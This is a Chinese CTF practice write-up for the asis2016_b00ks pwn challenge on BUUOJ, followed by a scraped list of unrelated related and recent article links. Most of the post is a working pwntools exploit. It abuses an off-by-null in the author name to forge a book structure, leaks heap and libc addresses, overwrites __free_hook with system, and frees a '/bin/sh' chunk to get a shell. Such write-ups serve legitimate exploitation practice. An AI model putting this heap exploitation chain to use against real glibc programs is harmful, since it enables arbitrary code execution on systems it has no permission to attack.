buu刷题日记 asis2016_b00ks
1.漏洞点
一个off by null,但和其他堆题的利用不太一样。
输入name时可覆盖heaplist的最低位为0
2.利用思路
1.泄露heap地址
申请大的heap再free掉,show功能正常,直接泄露。
2.泄露libc && 改__free_hook
heaplist的第一个指针最低位可覆盖为0,在对应位置伪造结构体,再结合edit和show功能实现任意读写,改freehook为system。
3.shell
申请时写入‘/bin/sh\x00’再free掉。
3.exp
from pwn import *
p=remote('node3.buuoj.cn',26380)
#p = process('./b00ks')
#p = process(['./b00ks'],env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF('./b00ks')
libc = ELF('/home/root2/Desktop/buu_64/libc-2.23.so')
#libc = ELF('./libc-2.23.so')
context.log_level = 'debug'def duan():
gdb.attach(p)
pause()
def add(name_size,name,content_size,content):
p.sendlineafter('> ','1')
p.sendlineafter('size: ',str(name_size))
p.sendlineafter('chars): ',name)
p.sendlineafter('size: ',str(content_size))
p.sendlineafter('tion: ',content)
def delete(index):
p.sendlineafter('> ','2')
p.sendlineafter('delete: ',str(index))
def edit(index,content):
p.sendlineafter('> ','3')
p.sendlineafter('edit: ',str(index))
p.sendlineafter('ption: ',content)
def show():
p.sendlineafter('> ','4')
def change(author_name):
p.sendlineafter('> ','5')
p.sendlineafter('name: ',author_name)p.sendlineafter('name: ','a'*0x1f+'b')
add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')
show()
p.recvuntil('aaab')
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
print 'heap_addr-->'+hex(heap_addr)
add(0x80,'cccccccc',0x60,'dddddddd')
add(0x10,'eeeeeeee',0x10,'ffffffff')
delete(2)
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90+0xe0+0x10)+p64(0x20))
change('a'*0x20)
show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.symbols['__malloc_hook']
__malloc_hook = libc_base+libc.symbols['__malloc_hook']
success('libc_base:'+hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
realloc = libc_base+libc.symbols['realloc']
system=libc_base+libc.sym['system']
edit(1,p64(free_hook)+p64(0x8))
edit(3,p64(system))
add(0x100,'/bin/sh\x00',0x100,'/bin/sh\x00')
#gdb.attach(p)
delete(4)p.interactive()
buu刷题日记 asis2016_b00ks相关推荐
- 菜菜的刷题日记 | 66.加一 Plus One
系列索引:菜菜的刷题日记 | 被LeetCode用Python狂虐的那段日子 菜鸡的刷题之路--2022/1/7 文章目录 [题目] [我的代码] [参考代码1] [参考代码2] [参考代码3] [思 ...
- 一个算法笨蛋的12月leetCode刷题日记
类似文章 一个算法笨蛋的2021年11月leetCode刷题日记 一个算法笨蛋的2021年12月leetCode刷题日记 一个算法笨蛋的2022年1月leetCode刷题日记 一个算法笨蛋的2022年 ...
- 牛客刷题日记(2021-12-8)
牛客刷题日记(2021-12-8) 题目: 以下哪个接口的定义是正确的?( )interface B { void print() { } ;}interface B { static void pr ...
- 刷题日记【第十三篇】-笔试必刷题【数根+星际密码+跳台阶扩展问题+快到碗里来】
刷题日记[第十三篇]-笔试必刷题[数根+星际密码+跳台阶扩展问题+快到碗里来] 1.方法区在JVM中也是一个非常重要的区域,它与堆一样,是被[线程共享]的区域. 下面有关JVM内存,说法错误的是?(c ...
- CTFshow刷题日记-MISC-图片篇(上)基础操作和信息附加
ctfshow 图片篇引语 大部分题目仅涉及单一知识点,但可能有多种解法: 找到flag并不困难,关键是了解每一题背后的原理: 藏在哪?为什么可以这样藏?请多考虑这两个问题: misc脑图-misc之 ...
- 牛客刷题日记(2021-11-24)
牛客刷题日记(2021-11-24) 题目: 下面程序的输出是:() String x="fmn"; x.toUpperCase(); String y=x.replace('f' ...
- Leetcode刷题日记(十二)
又是老台词:欢迎大家来到一晚一度的leetcode刷题日记时间.今天我们来讲讲队列的问题,队列这方面的基础知识需要的同学到博主前面的文章找吧.队列这方面的问题平时博主也是接触得比较少的.下面是一道利用 ...
- 菜菜的刷题日记 | 蓝桥杯 — 十六进制转八进制(纯手撕版)附进制转换笔记
系列索引:菜菜的刷题日记 | 被LeetCode用Python狂虐的那段日子 万万没想到啊,回老家过年断更的几天之后,我会因为无聊在除夕这天做了会儿题,然后写篇题解. 文章目录 [题目] [我的代码] ...
- 菜菜的刷题日记 | 12.整数转罗马数字
系列索引:菜菜的刷题日记 | 被LeetCode用Python狂虐的那段日子 菜鸡的刷题之路--2022/1/24,这几天忙着肝并发编程,题在做但是没空写题解,今晚补一篇. 文章目录 [题目] [官方 ...
- Leetcode刷题日记:21-25题篇
Leetcode刷题日记:21-25题篇 简介 题目: 21. 合并两个有序链表 22. 括号生成 23. 合并K个升序链表 24. 两两交换链表中的节点 25. K 个一组翻转链表 注 简介 这个系 ...
最新文章
- (入门)上传GitHub怎么忽略node_modules
- 沈阳初步建成国内领先的城市级大数据资源库
- RSA加密原理:非对称加密鼻祖
- python可以做系统吗_哪个操作系统更适合用来做Python开发
- mysql设计学习_Mysql数据库设计学习
- 使用python制作ArcGIS插件(5)其他技巧
- mysql可以授予的权限包括多选题_mysql中的权限有( )。 (5.0分)_学小易找答案
- 虚拟化服务器杀毒软件,虚拟机需要安装杀毒软件吗
- python运算符用来计算集合并集的_Python 运算符中用来计算集合并集的是 _______ 。 (2.0分)_学小易找答案...
- mysql主从配置查看_MySQL主从配置 - MySQL入门教程_数据库技术_Linux公社-Linux系统门户网站...
- 某计算机配置的内存为2GB,实测告诉你为APU分配64MB和2GB显存性能差距多大
- 管理学定律八:晕轮效应与霍桑效应
- 北邮校长方滨兴将离职 临别奉送学生“六好”锦囊
- mac 更新系统后无法使用 git
- 达威尔CHERRY樱桃轴 铝合金有线背光电竞吃鸡游戏机械键盘
- 绝望爱の歌---最终兵器彼女
- 分享45个android实例源码,很好很强大
- Bandit:一款Python代码安全漏洞检测工具
- 秒杀年费258的同款APP,微软、联想、Adobe、腾讯的这些良心产品太香了
- java全栈系列之JavaSE-面向对象之多态038
热门文章
- TXT文件导入mysql
- 迪文屏DMT12800K070_A2WTC踩坑实录(二)
- 计算机的来源知识,计算机的由来计算机从诞生到现在才不过50多年的时间,可是发展却很快,已先后经历了四代,可以说是人丁兴旺。世界上第一台电子计算机1946年诞生于美国,名为埃尼阿克(ENIAC)...
- MathJax 支持的 Latex 符号总结
- 车载ECU软件刷新flash driver制作
- React脚手架---CRA
- 技术类岗位面试中经典问题总结分享
- 计算与推断思维 十六、比较两个样本
- 网络和internet设置 代理 手动设置无效 | internet选项 代理设置无效无法应用 |internet选项代理修改后无法应用
- There are 7 missing blocks. The following files may be corrupted